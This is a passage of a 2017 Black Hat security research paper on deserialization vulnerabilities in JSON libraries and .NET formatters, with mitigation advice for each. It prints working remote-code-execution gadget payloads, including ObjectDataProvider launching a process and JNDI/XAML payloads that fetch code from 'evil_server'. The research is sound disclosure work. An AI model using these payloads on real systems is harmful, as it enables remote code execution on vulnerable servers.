fully json.org compliant, thread safe C# JSON library for server side and desktop operations. Sweet.Jayson will include type discriminators by default and will perform a weak type control by deserializing the object first and then casting it to the expected type. This approach allows an attacker to send payload as the root object in Json data. 6 http://www.newtonsoft.com/json/help/html/SerializeSerializationBinder.htm BlackHat Conference July 2017 HPE Software Security Research Paper During deserialization, it will call: • Setters Sweet.Jayson should never be used with untrusted data since it cannot be configured in a secure way. JavascriptSerializer Project Site: Native .NET library (https://msdn.microsoft.com/en-us/library/system.web.script.serialization.javascriptserializer(v=vs.110).aspx) .NET native library that provides serialization and deserialization functionality for AJAX-enabled applications. By default, it will not include type discriminator information which makes it a secure serializer. However, a type resolver can be configured to include this information. For example: JavascriptSerializer jss = new JavascriptSerializer(new SimpleTypeResolver()); It does not use any type control other than a post-deserialization cast, so payloads can be included as the root Json element. During deserialization, it will call: • Setters It can be used securely as long as a type resolver is not used or type resolver is configured as one of the whitelisted valid types. DataContractJsonSerializer Project Site: Native .NET library (https://msdn.microsoft.com/en- us/library/system.runtime.serialization.json.datacontractjsonserializer(v=vs.110).aspx) .NET native library that serializes objects to the JavaScript Object Notation (JSON) and deserializes JSON data to objects. DataContractJsonSerializer extends XmlObjectSerializer and it can normally be considered a secure serializer since it performs a strict type graph inspection and prevents deserialization of non-whitelisted types. However, we found that if an attacker can control the expected type used to configure the deserializer, he/she will be able to execute code. var typename = cookie["typename"]; … var serializer = new DataContractJsonSerializer(Type.GetType(typename)); var obj = serializer.ReadObject(ms); During deserialization, it will call: • Setters • Serialization Constructors DataContractSerializer can be used securely as long as the expected type cannot be controlled by users. Jackson Project site: https://github.com/FasterXML/jackson BlackHat Conference July 2017 HPE Software Security Research Paper Jackson is probably the most popular JSON library for Java. By default, it does not include any type information along the serialized data, however since this is necessary to serialize polymorphic types and System.lang.Object instances, it defines a way to include type discriminators by using a global setting or per field annotation. It can be globally enabled by calling enableDefaultTyping on the object mapper: // default to using DefaultTyping.OBJECT_AND_NON_CONCRETE objectMapper.enableDefaultTyping(); The following typings are possible: • JAVA_LANG_OBJECT: only affects properties of type Object.class • OBJECT_AND_NON_CONCRETE: affects Object.class and all non-concrete types (abstract classes, interfaces) • NON_CONCRETE_AND_ARRAYS: same as above, and all array types of the same (direct elements are non-concrete types or Object.class) • NON_FINAL: affects all types that are not declared 'final', and array types of non-final element types. It can also be enabled for a specific class field by annotating it with @JsonType: @JsonTypeInfo(use=JsonTypeInfo.Id.CLASS, include=JsonTypeInfo.As.PROPERTY, property="@class") public Object message; As with Json.Net, if type discriminators are enabled, attackers will be able to inject their payloads on any member in the expected object graph which is can be assigned the gadget type. Upon deserialization, the following methods will be invoked: • Setters When dealing with untrusted data, the best option is to never enable type information. If it is required, do it by using the @JsonTypeInfo annotation only for the required fields and using JsonTypeInfo.Id other than CLASS as its "use" value. Genson Project site: https://owlike.github.io/genson/ Genson is a Java and Scala JSON conversion library. As in Jackson, the serializer will not include the type information by default, but it can be configured to do so by calling useRuntimeType() on the mapper builder. In the other hand Genson does an inspection of the expected object graph to control which classes can be deserialized. Therefore, an attacker needs to find an injection field in the object graph. Genson will call the following methods upon deserialization: • Setters When dealing with untrusted data, Genson should never be configured to use runtime types. BlackHat Conference July 2017 HPE Software Security Research Paper JSON-IO Project site: https://github.com/jdereg/json-io Json-io is a light JSON parser which by default includes type information on the produced JSON. It does not implement any type controls other than casting to the expected type. An attacker may be able to inject payload as the root element of the JSON body. Json-io will use reflection to assign field values and therefore, it will not invoke any setters during deserialization process. However, we found that it is still vulnerable since it will call the toString() method of the deserialized class if an exception is raised. An attacker will be able to force json-io to create an instance of a desired class, populate any field using reflection with attacker controlled data and then add an incorrect value for some field which will trigger an exception. Consequently, Json-io will call the toString() method on the deserialized object. Methods called upon deserialization: • toString() Json-io should never be used with untrusted data. FlexSON Project site: http://flexjson.sourceforge.net/ Flexjson is a lightweight library for serializing and deserializing Java objects into and from JSON. It includes type discriminators in the serialized JSON data by default and it does not implement any type control. This allows attackers to easily attack this parser. Upon deserialization it will call: • Setters It should never be used with untrusted data. Finding entry points in object graphs Some libraries perform type control by inspecting expected type object graph and only allowing types that are assignable to expected field types. When that is the case, an attacker needs to find an entry point to place payload gadget. Depending on the object graph, this may or may not be possible. The following are some tips we used to find those entry points in the target object graph. • .NET non-generic collections such as Hashtable, Arraylist, etc. • Object member (java.lang.Object or System.Object) • Generic types (eg: Message<T>) In addition, attackers can extend the surface of this search: • Use a derived type of expected member type o Java example: Field type is java.lang.Exception, derived type javax.management.InvalidApplicationException can be used which has a java.lang.Object field that can be used to place any payload gadget. o .NET example: Property type is System.Exception, System.ComponentModel.DataAnnotations.ValidationException can be used which has a System.Object property that can be used to place any payload gadget. • Use property of parent type Any of these actions can be done recursively for any type from the expected type graph BlackHat Conference July 2017 HPE Software Security Research Paper Example: Breeze (CVE-2017-9424) Breeze (http://www.getbreezenow.com/) is a .NET data management backend framework which allows developers to write data management endpoints for Javascript and .NET clients. Communication is done over HTTP/JSON and uses Json.Net as parsing library. The project was configured to use TypeNameHandling.All and therefore it will include the .NET type details in the exchanged Json data. An attacker could modify this type information and force the backend to deserialize arbitrary types and therefore calling setters on arbitrary types. An attacker was able to inject its payload in the Tag property of the expected SaveOptions type: public class SaveOptions { public bool AllowConcurrentSaves { get; set; } public Object Tag { get; set; } } This vulnerability affected all users of breeze framework regardless of their configuration or exposed endpoints. Report Timeline Issue was reported on May 29th Vulnerability was fixed in version 1.6.5 which was released on June 1st 7 (Just 2 days!) Gadgets The following section is a summary of the setter gadgets we found and used to attack analyzed libraries. .NET RCE Gadgets System.Configuration.Install.AssemblyInstaller Sample JSON payload: {"$type":"System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a", "Path":"file:///c:/somePath/MixedLibrary.dll"} Source code: // System.Configuration.Install.AssemblyInstaller public void set_Path(string value) { if (value == null) { this.assembly = null; } this.assembly = Assembly.LoadFrom(value); } Attack vector: Execute payload on assembly load. There can be used 2 ways for RCE: • We can put our code in DllMain() function of Mixed Assembly 8 7 http://breeze.github.io/doc-net/release-notes.html 8 https://blog.cylance.com/implications-of-loading-net-assemblies BlackHat Conference July 2017 HPE Software Security Research Paper • We can put our code in static constructor of own Type derived from System.Configuration.Install.Installer and annotated as [RunInstallerAttribute(true)] 9. In this case we will need to call InitializeFromAssembly(). It can be done using the HelpText getter. Requirements: There is no additional requirement if assembly with payload is on the local machine but in case of remote resources, newer .Net Framework versions may have some additional security checks. System.Activities.Presentation.WorkflowDesigner Sample JSON payload: {"$type":"System.Activities.Presentation.WorkflowDesigner, System.Activities.Presentation, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35", "PropertyInspectorFontAndColorData":"<ResourceDictionary xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\" xmlns:System=\"clr-namespace:System;assembly=mscorlib\" xmlns:Diag=\"clr-namespace:System.Diagnostics;assembly=system\"> <ObjectDataProvider x:Key=\"LaunchCalc\" ObjectType=\"{x:Type Diag:Process}\" MethodName=\"Start\"> <ObjectDataProvider.MethodParameters> <System:String>calc</System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>" } Source code: // System.Activities.Presentation.WorkflowDesigner public void set_PropertyInspectorFontAndColorData(string value) { StringReader input = new StringReader(value); XmlReader reader = XmlReader.Create(input); Hashtable hashtable = (Hashtable)XamlReader.Load(reader); … Attack vector: Execute static method during parsing of Xaml payload. 9 https://msdn.microsoft.com/en-us/library/system.componentmodel.runinstallerattribute(v=vs.110).aspx BlackHat Conference July 2017 HPE Software Security Research Paper Requirements: Constructor of this Type requires Single-Threaded-Apartment (STA) thread System.Windows.ResourceDictionary Sample JSON payload: {"__type":"System.Windows.Application, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35", "Resources":{"__type":"System.Windows.ResourceDictionary, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35", "Source":"http://evil_server/EvilSite/Xamlpayload"}} Source code: // System.Windows.ResourceDictionary public void set_Source(Uri value) { ... this._source = value; this.Clear(); Uri resolvedUri = BindUriHelper.GetResolvedUri(this._baseUri, this._source); WebRequest request = WpfWebRequestHelper.CreateRequest(resolvedUri); ... Stream s = null; try { s = WpfWebRequestHelper.GetResponseStream(request, out contentType); } ... XamlReader xamlReader; ResourceDictionary resourceDictionary = MimeObjectFactory.GetObjectAndCloseStream(s, contentType, resolvedUri, false, false, false, false, out xamlReader) as ResourceDictionary; ... // MS.Internal.AppModel.MimeObjectFactory internal static object GetObjectAndCloseStream(Stream s, ContentType contentType, Uri baseUri, bool canUseTopLevelBrowser, bool sandboxExternalContent, bool allowAsync, bool isJournalNavigation, out XamlReader asyncObjectConverter) { object result = null; asyncObjectConverter = null; StreamToObjectFactoryDelegate streamToObjectFactoryDelegate; BlackHat Conference July 2017 HPE Software Security Research Paper if (contentType != null && MimeObjectFactory._objectConverters.TryGetValue(contentType, out streamToObjectFactoryDelegate)) { result = streamToObjectFactoryDelegate(s, baseUri, canUseTopLevelBrowser, sandboxExternalContent, allowAsync, isJournalNavigation, out asyncObjectConverter); ... Static constructor of System.Windows.Application type initializes _objectConverters: // System.Windows.Application static Application() { ... Application.ApplicationInit();... // System.Windows.Application private static void ApplicationInit() { ... StreamToObjectFactoryDelegate method = new StreamToObjectFactoryDelegate(AppModelKnownContentFactory.XamlConver ter); MimeObjectFactory.Register(MimeTypeMapper.XamlMime, method); ...... Code of XamlConverter: // MS.Internal.AppModel.AppModelKnownContentFactory internal static object XamlConverter(Stream stream, Uri baseUri, bool canUseTopLevelBrowser, bool sandboxExternalContent, bool allowAsync, bool isJournalNavigation, out XamlReader asyncObjectConverter) { ... if (allowAsync) { XamlReader xamlReader = new XamlReader(); asyncObjectConverter = xamlReader; xamlReader.LoadCompleted += new AsyncCompletedEventHandler(AppModelKnownContentFactory.OnParserCompl ete); return xamlReader.LoadAsync(stream, parserContext); } return XamlReader.Load(stream, parserContext); } Attack vector: An attacker sends payload with URL to controlled server, this server responds with Xaml payload and Content Type = application/xaml+xml and target server will execute desired static method during parsing of Xaml payload. BlackHat Conference July 2017 HPE Software Security Research Paper Requirements: • JSON unmarshaller should be able to unmarshal System.Uri type. • JSON unmarshaller should call setters for Types that implement IDictionary. Often in this case unmarshallers just put key-value pairs in the dictionary instead of using the setter to assign its value. System.Windows.Data.ObjectDataProvider Sample JSON payload: {"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","MethodName":"Start","MethodParamet ers":{"$type":"System.Collections.ArrayList, mscorlib","$values":["calc"]},"ObjectInstance":{"$type":"System.Diag nostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}} Source code: // System.Windows.Data.ObjectDataProvider public void set_ObjectInstance(object value) { ... if (this.SetObjectInstance(value) && !base.IsRefreshDeferred) { base.Refresh(); } } // System.Windows.Data.ObjectDataProvider public void set_MethodName(string value) { this._methodName = value; this.OnPropertyChanged("MethodName"); if (!base.IsRefreshDeferred) { base.Refresh(); } }... // System.Windows.Data.DataSourceProvider public void Refresh() { this._initialLoadCalled = true; this.BeginQuery(); } // System.Windows.Data.ObjectDataProvider protected override void BeginQuery() { ... if (this.IsAsynchronous) { ThreadPool.QueueUserWorkItem(new WaitCallback(this.QueryWorker), null); return; } this.QueryWorker(null); BlackHat Conference July 2017 HPE Software Security Research Paper } // System.Windows.Data.ObjectDataProvider private void QueryWorker(object obj) { ... Exception ex2 = null; if (this._needNewInstance && this._mode == ObjectDataProvider.SourceMode.FromType) { ConstructorInfo[] constructors = this._objectType.GetConstructors(); if (constructors.Length != 0) { this._objectInstance = this.CreateObjectInstance(out ex2); } this._needNewInstance = false; } if (string.IsNullOrEmpty(this.MethodName)) { obj2 = this._objectInstance; } else { obj2 = this.InvokeMethodOnInstance(out ex); ... // System.Windows.Data.ObjectDataProvider private object InvokeMethodOnInstance(out Exception e) { ... object[] array = new object[this._methodParameters.Count]; this._methodParameters.CopyTo(array, 0); try { result = this._objectType.InvokeMember(this.MethodName, BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.FlattenHierarchy | BindingFlags.InvokeMethod | BindingFlags.OptionalParamBinding, null, this._objectInstance, array, CultureInfo.InvariantCulture); } Attack vector: This gadget is very flexible and offers various attack scenarios therefore we were able to use it for almost any unmarshaller: • We can call any method of unmarshaled object (ObjectInstance + MethodName) • We can call parametrized constructor of desired type with controlled parameters (ObjectType + ConstructorParameters) • We can call any public method including static ones with controlled parameters (ObjectInstance + MethodParameters + MethodName or ObjectType + ConstructorParameters + MethodParameters + MethodName) System.Windows.Forms.BindingSource BlackHat Conference July 2017 HPE Software Security Research Paper Sample JSON payload: {"$type":"System.Windows.Forms.BindingSource, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", "DataMember":"HelpText", "dataSource":{"$type":"System.Configuration.Install.AssemblyInstalle r, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","Path":" file:///c:/somePath/MixedLibrary.dll"}} Source code: // System.Windows.Forms.BindingSource public void set_DataSource(object value) { ... this.dataSource = value; ... this.ResetList(); ... // System.Windows.Forms.BindingSource private void ResetList() { ... object obj = (this.dataSource is Type) ? BindingSource.GetListFromType(this.dataSource as Type) : this.dataSource; object list = ListBindingHelper.GetList(obj, this.dataMember); ... // System.Windows.Forms.ListBindingHelper public static object GetList(object dataSource, string dataMember) { ... PropertyDescriptorCollection listItemProperties = ListBindingHelper.GetListItemProperties(dataSource); PropertyDescriptor propertyDescriptor = listItemProperties.Find(dataMember, true); ... } else { obj = dataSource; } if (obj != null) { return propertyDescriptor.GetValue(obj); } ... Attack vector: Arbitrary getter call BlackHat Conference July 2017 HPE Software Security Research Paper Microsoft.Exchange.Management.SystemManager.WinForms.ExchangeSettingsProvider Some gadgets can be used as a “bridge” to other formatters. Despite that this library is a quite rare (it is part of MS Exchange Server) we decided to provide its details as it can be a good example of such type of gadgets: //Microsoft.Exchange.Management.SystemManager.WinForms.ExchangeSetti ngsProvider public void set_ByteData(byte[] value) { if (value != null) { MemoryStream memoryStream = new MemoryStream(value); try { try { BinaryFormatter binaryFormatter = new BinaryFormatter(); Hashtable hashtable = (Hashtable)binaryFormatter.Deserialize(memoryStream); ... Attack vector: It allows jumping from setters to nested BinaryFormatter deserialization. System.Data.DataViewManager, System.Xml.XmlDocument/XmlDataDocument These are examples of XXE gadgets. There are plenty of them but since XmlTextReader hardening in 4.5.2, it is not possible to use them since the XML parser will not load XML entities in the default configuration. Therefore these gadgets are no longer relevant, especially in the presence of existing RCE gadgets. Java RCE gadgets org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName This gadget was presented during our JNDI attacks talk at BlackHat 2016 10 Sample JSON payload: {"@class":"org.hibernate.jmx.StatisticsService","sessionFactoryJNDIN ame":"ldap://evil_server/uid=somename,ou=someou,dc=somedc"} Source code: public void setSessionFactoryJNDIName(String sfJNDIName) { this.sfJNDIName = sfJNDIName; 10 https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To- RCE.pdf BlackHat Conference July 2017 HPE Software Security Research Paper try { Object obj = new InitialContext().lookup(sfJNDIName); if (obj instanceof Reference) { Reference ref = (Reference) obj; setSessionFactory( (SessionFactory) SessionFactoryObjectFactory.getInstance( (String) ref.get(0).getContent() ) ); } else { setSessionFactory( (SessionFactory) obj ); } } … } Attack vector: JNDI lookup (see "Notes about JNDI attack vectors") Availability: Available in the following Maven Central packages/versions: • org.hibernate / hibernate o 3.1 – 3.2.7 • org.hibernate / hibernate-jmx o 3.3.0 – 3.5.6 • org.hibernate / hibernate-core o 3.6.0 – 4.2.20 • com.springsource / org.hibernate o 3.2.6 – 4.1.0 • com.springsource / org.hibernate.core 4.0.0 – 4.1.0 com.sun.rowset.JdbcRowSetImpl.setAutoCommit This is the most interesting example since it is present in the Java Runtime and therefore, requires no external dependencies. It is not really a setter since there is no field called autoCommit, but libraries such as Jackson and Genson will invoke it when deserializing an "autoCommit" attribute in the JSON data. Sample JSON Payload: {"@class":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://evil_server/uid=somename,ou=someou,dc=somed c", "autoCommit":true} Source code: public void setAutoCommit(boolean autoCommit) throws SQLException { BlackHat Conference July 2017 HPE Software Security Research Paper if(conn != null) { conn.setAutoCommit(autoCommit); } else { conn = connect(); conn.setAutoCommit(autoCommit); } } protected Connection connect() throws SQLException { if(conn != null) { return conn; } else if (getDataSourceName() != null) { try { Context ctx = new InitialContext(); DataSource ds = (DataSource)ctx.lookup (getDataSourceName()); } catch (javax.naming.NamingException ex) { … } … } … } Attack vector: JNDI lookup (see "Notes about JNDI attack vectors") Availability: Java 9 Jigsaw will potentially kill this gadget since this class won't be exposed by default by the module system. However, that will depend on how developers use and adopt Jigsaw. org.antlr.stringtemplate.StringTemplate.toString Sample JSON payload: {"javaClass":"org.antlr.stringtemplate.StringTemplate","attributes": {"table":{"javaClass":"TARGET_CLASS","TARGET_PROPERTY": "value"}},"template":"$table.TARGET_PROPERTY$"} Attack vector: Arbitrary getter call which can be used to chain to other gadgets such as the infamous com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties() Availability: Available in antlr.StringTemplate ver 2.x and 3.x com.atomikos.icatch.jta.RemoteClientUserTransaction.toString Sample JSON Payload: BlackHat Conference July 2017 HPE Software Security Research Paper {"@class":" com.atomikos.icatch.jta.RemoteClientUserTransaction", "name_":"ldap://evil_server/uid=somename,ou=someou,dc=somedc", "providerUrl_":"ldap://evil_server"} Source code: public String toString () { String ret = null; boolean local = checkSetup (); … } private boolean checkSetup (){ txmgr_ = TransactionManagerImp.getTransactionManager (); if ( txmgr_ == null ) { try { Hashtable env = new Hashtable (); env.put ( Context.INITIAL_CONTEXT_FACTORY,initialContextFactory_ ); env.put ( Context.PROVIDER_URL, providerUrl_ ); Context ctx = new InitialContext ( env ); txmgrServer_ = (UserTransactionServer) PortableRemoteObject.narrow ( ctx.lookup ( name_ ), UserTransactionServer.class ); } catch ( Exception e ) { e.printStackTrace (); throw new RuntimeException ( getNotFoundMessage () ); } if ( txmgrServer_ == null ) throw new RuntimeException ( getNotFoundMessage () ); } return txmgr_ != null; } Attack vector: JNDI lookup (see "Notes about JNDI attack vectors") Availability: Available in the following Maven Central packages/versions: • com.atomikos / transactions-jta o 3.x – latest Notes about JNDI attack vectors After reporting our previous research about JNDI Injection 11 to Oracle, a new property was added to the JDK on update 121 12 which disables remote class loading via JNDI object factories stored in naming and directory services by 11 https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE- wp.pdf 12 http://www.oracle.com/technetwork/java/javase/8u121-relnotes-3315208.html BlackHat Conference July 2017 HPE Software Security Research Paper default. However, the fix is not yet complete and it only affected those JNDI lookups against RMI registries and COS naming services, leaving the LDAP vector still functional (both the JNDI reference and deserialization approaches). TypeConverters During our review of JSON unmarshallers and .NET formatters, we noticed that some of them (for example Json.Net and ObjectStateFormatter/LosFormatter) use an additional way for reconstructing objects of Types annotated with the [TypeConverter] annotation 13. For example, if we have: [TypeConverter(typeof(MyClassConverter))] public class MyClass { … } Unmarshaller will use ConvertFrom() method of MyClassConverter for reconstructing a MyClass instance from the string. Such custom type converter can be used for getting arbitrary code execution along with other gadget types such as property setters or deserialization callbacks. We found a couple of examples of these type converters that can lead to arbitrary code execution. // Microsoft.VisualStudio.ExtensionManager.XamlSerializationWrapperConv erter public override object ConvertFrom(ITypeDescriptorContext context, CultureInfo culture, object value) { string text = value as string; if (text != null) { try { StringReader input = new StringReader(text); object value2; using (XmlTextReader xmlTextReader = new XmlTextReader(input)) { value2 = XamlReader.Load(xmlTextReader); } … } Type converters can be used to transaction from one deserializer/formatter to another. For example, EndpointCollectionConverter can bridge to BinaryFormatter: // Microsoft.VisualStudio.Modeling.Diagrams.EndpointCollectionConverter public override object ConvertFrom(ITypeDescriptorContext context, CultureInfo culture, object value) { string text = value as string; if (text != null) { text = text.Trim(); ... EdgePointCollection edgePointCollection2 = null; 13 https://msdn.microsoft.com//library/system.componentmodel.typeconverter(v=vs.110).aspx BlackHat Conference July 2017 HPE Software Security Research Paper if (SerializationUtilities.TryGetValueFromBinaryForm<EdgePointCollectio n>(text, out edgePointCollection2) && edgePointCollection2 != null) ... } And //Microsoft.VisualStudio.Modeling.SerializationUtilities public static bool TryGetValueFromBinaryForm<T>(string input, out T output) { output = default(T); bool result = false; if (input != null) { try { byte[] array = Convert.FromBase64String(input); if (array.Length == 0) { try { output = (T)((object)string.Empty); result = true; goto IL_AB; } catch (InvalidCastException) { goto IL_AB; } } MemoryStream memoryStream = new MemoryStream(); memoryStream.Write(array, 0, array.Length); memoryStream.Position = 0L; if (array.Length > 7 && array[3] == 60 && array[4] == 63 && array[5] == 120 && array[6] == 109 && array[7] == 108) { … } BinaryFormatter binaryFormatter = new BinaryFormatter(); try { output = (T)((object)binaryFormatter.Deserialize(memoryStream)); result = true; } … } In additional to the mentioned annotated Types, Json.Net has its own TypeConverters that can work with Types without this annotation. For example EntityKeyMemberConverter will be used for unmarshalling of System.Data.EntityKeyMember Type or any derived Type: //Newtonsoft.Json.Converters.EntityKeyMemberConverter public override bool CanConvert(Type objectType) BlackHat Conference July 2017 HPE Software Security Research Paper { return objectType.AssignableToTypeName("System.Data.EntityKeyMember"); } This converter tries to deserialize “Value” property as Type specified in “Type” property. //Newtonsoft.Json.Converters.EntityKeyMemberConverter public override object ReadJson(JsonReader reader, Type objectType, object existingValue, JsonSerializer serializer) { EntityKeyMemberConverter.EnsureReflectionObject(objectType); object obj = EntityKeyMemberConverter._reflectionObject.Creator(new object[0]); EntityKeyMemberConverter.ReadAndAssertProperty(reader, "Key"); reader.ReadAndAssert(); EntityKeyMemberConverter._reflectionObject.SetValue(obj, "Key", reader.Value.ToString()); EntityKeyMemberConverter.ReadAndAssertProperty(reader, "Type"); reader.ReadAndAssert(); Type type = Type.GetType(reader.Value.ToString()); EntityKeyMemberConverter.ReadAndAssertProperty(reader, "Value"); reader.ReadAndAssert(); EntityKeyMemberConverter._reflectionObject.SetValue(obj, "Value", serializer.Deserialize(reader, type)); reader.ReadAndAssert(); return obj; } Note that it will work even if TypeNameHandling = None. Therefore, if expected Type has a property that can be processed by this Type converter the application will be vulnerable. Similar Research On May 22, Moritz Bechler published a paper 14 containing a research with similar premises and conclusions. This research was done independently and published after our research was accepted for BlackHat and abstract was published online. We could not publish our paper before our talks at BlackHat/Defcon per their request. The paper focuses exclusively in Java and overlaps with our research on Jackson and JSON-IO library (although we found different vector for this library). It also overlaps in that we found the same JdbcRowSetImpl.setAutoCommit() gadget but, in addition, Moritz presents other interesting gadgets in third- party Java libraries. 14 https://github.com/mbechler/marshalsec BlackHat Conference July 2017 HPE Software Security Research Paper .NET deserialization attacks Attacks on .NET BinaryFormatter serialization are not new. James Forshaw already introduced them at BlackHat 2012 15 along with NetDataContractSerializer. However, no gadgets leading to arbitrary code execution were found at that time. Some years later Alexander Herzog presented a new formatter (LosFormatter) which could also be vulnerable to arbitrary code execution 16. Still no gadgets were found to achieve code execution upon deserialization of untrusted data using these formatters. The first possibility of a RCE gadget was introduced by Florian Gaultier 17 which presented a code execution gadget via a memory corruption. Unfortunately, the gadget was not published and memory corruption is not a stable way of getting remote code execution since it depends on several factors and mitigations techniques. After researching RCE gadgets for Java deserialization, we decided to give .NET a try and look for a RCE gadget that could allow exploitation of these 3 vulnerable formatters. We found a type available in the Windows GAC, meaning no third-party requirements are required for exploitation, which leaded to arbitrary code execution via arbitrary method calls. Update: Recently and after this research work was finished, accepted for BlackHat and Defcon and its abstract published on the Blackhat site, James Forshaw of the Google Project Zero team, published two gadgets that lead to remote code execution and that could be used to attack the 3 known vulnerable formatters 18. In this section, we will present other .NET native formatters which may also lead to remote code execution and will present the details of the gadgets we found which can be used to attack these formatters. Review of known dangerous .NET formatters System.Runtime.Serialization.Formatters.Binary.BinaryFormatter It is the most powerful native formatter but limited to serialize those types that are annotated with the System.SerializableAttribute attribute. If serialized types implements the System.Runtime.Serialization.ISerializable interface, the (SerializationInfo info, StreamingContext context) constructor overload will be invoked during deserialization. In addition, if type implements the System.Runtime.Serialization.IDeserializationCallback interface, the OnDeserialization(Object) method will be called upon deserialization. Also deserializer will call methods annotated by System.Runtime.Serialization.OnDeserializingAttribute19 or System.Runtime.Serialization.OnDeserializedAttribute20. All mentioned callbacks can be used as the entrypoint for the deserialization attack. It is possible to limit which types can be deserialized by using a System.Runtime.Serialization.SerializationBinder which will control the class loading process during deserialization. This can be effectively used to prevent deserialization of non-expected types. BinaryFormatter is capable of serializing types that were not designed to be serialized such as types with private setters, no default constructors, no Serialization attribute, dictionaries, etc. In order to allow the serialization of these types an instance of a serialization surrogate (System.Runtime.Serialization.ISerializationSurrogate) can be configured in the BinaryFormatter. The surrogate implements a pair of GetObjectData and SetObjectData that will be called during serialization and deserialization to customize the data being serialized/deserialized. Note that as long as the surrogate type is available in the deserializing CLR, an attacker can use it as an additional way to trigger its payload. 15 https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf 16 https://www.slideshare.net/ASF-WS/asfws-2014-slides-why-net-needs-macs-and-other-serialization-talesv20 17 https://blog.scrt.ch/2016/05/12/net-serialiception/ 18 https://googleprojectzero.blogspot.com.es/2017/04/exploiting-net-managed-dcom.html 19 https://msdn.microsoft.com/en-us/library/system.runtime.serialization.ondeserializingattribute(v=vs.110).aspx 20 https://msdn.microsoft.com/en-us/library/system.runtime.serialization.ondeserializedattribute(v=vs.110).aspx BlackHat Conference July 2017 HPE Software Security Research Paper James Farshow found a SurrogateSelector with a preloaded SerializationSurrogate that was designed to serialize non-serializable types 21. This effectively means that attackers can use any type on their gadgets chains and they are no longer limited to serializable annotated types. System.Runtime.Serialization.NetDataContractSerializer Introduced as part of WCF, it extends the System.Runtime.Serialization.XmlObjectSerializer class and is capable of serializing any type annotated with serializable attribute as BinaryFormatter does but is not limited to those and can also extend regular types that can be serialized by XmlObjectSerializer. From an attacker point of view, it offers the same attack surface as BinaryFormatter. System.Web.UI.LosFormatter This formatter is internally used by Microsoft Web Forms pages to serialize view state. It uses BinaryFormatter internally and therefore offers similar attack surface. Other .NET formatters that we found to be vulnerable During our research, we analyzed the following native formatters: System.Runtime.Serialization.Formatters.Soap.SoapFormatter This formatter serializes objects to and from SOAP XML format. It is similar to BinaryFormatter in a number of ways; they both implement IFormatter interface and serialize only [Serializable] annotated types. They both can use surrogates to handle custom serialization and binders to control type loading. Both will invoke similar methods upon deserialization which include setters, ISerializable Serialization constructor, OnDeserialized annotated methods and IDeserializationCallback's OnDeserialization callback. We can conclude that both are as powerful and gadgets for BinaryFormatter will be able to be used for SoapFormatter. System.Web.Script.Serialization.JavaScriptSerializer Already covered in JSON Libraries section. System.Web.UI.ObjectStateFormatter Used by LosFormatter as a binary formatter for persisting the view state for Web Forms pages. It uses BinaryFormatter internally and therefore offers similar attack surface. In addition, it uses TypeConverters so there is an additional surface for attacks. System.Runtime.Serialization.Json.DataContractJsonSerializer Already covered in the Json Libraries section. System.Runtime.Serialization.DataContractSerializer DataContractSerializer is probably the serializer that better balances serialization capabilities and security. It does so by inspecting the object graph of the expected type and limiting deserialization to only those that are in use. Since an initial inspection is done before looking at the objects coming through the wire, it won't be able to serialize types which contain generic Object members or other dynamic types which are not known during the construction of serializer. This limitation makes it suitable to handle untrusted data unless any of the following scenarios apply: 1 - Using a weak type resolver 21 https://googleprojectzero.blogspot.com.es/2017/04/exploiting-net-managed-dcom.html BlackHat Conference July 2017 HPE Software Security Research Paper DataContractSerializer can be configured to use a type resolver which will help overcome the original limitation of dealing with unknown types at construction time. It does so by annotating which types are serialized and remembering them in a shared resource to be used by the deserializer later. A type resolver can be securely implemented to only handle the required dynamic types or polymorphic types and not depending on data in the serialized XML to reconstruct these types during deserialization. However, it can also be configured to handle any types in a similar way to what BinaryFormatter and NetDataContractSerializer do. This behavior is the one shown in the DataContractResolver documentation page 22 with a security warning around it. Using a weak resolver such as the one showed in this documentation, will allow attackers to instantiate arbitrary types and gain remote code execution. 2 - Using user controlled expected type or member in knownTypes list The security of the deserializers relies on the fact that it inspects and trusts the type passed to its constructor. If attackers can control the expected type, they will be able to make the deserializer trust any object graph and therefore set the grounds to inject their payload and gain remote code execution. A quick look at popular open source code repos such as Github showed that is not that strange to find DataContractSerializers constructed with untrusted types. Type objType = Type.GetType(message.Label.Split('|')[1], true, true); DataContractSerializer serializer = new DataContractSerializer(objType); serializer.ReadObject(message.BodyStream); Upon deserialization, DataContractSerializer will invoke multiple methods which can be used to initiate an RCE gadget chain such as setters and serialization constructors. System.Xml.Serialization.XmlSerializer It is similar to DataContractJsonSerializer and DataContractSerializer in that it will inspect the expected type at construction time and create an ad-hoc serializer that will only know about those types appearing in the object graph. It is even more restricted as it will fail to deserialize Types containing interface members or System.Type members, for example. In addition, it does not use type resolvers as DataContractSerializer does, so the only vulnerable configuration for this deserializer is when attacker can control the expected type in a similar way to what we showed for DataContractSerializer. From an attacker perspective, overcoming the type limitation can be a problem, but we will show later that this can be done with some sharp tricks. As a conclusion, these limitations are not enough to make XmlSerializer secure when expected type is user controlled. Searching through GitHub shows that this is not a rare configuration. We will show how this is the case for a popular CMS in "Example: DotNetNuke Platform (CVE-2017-9822)". 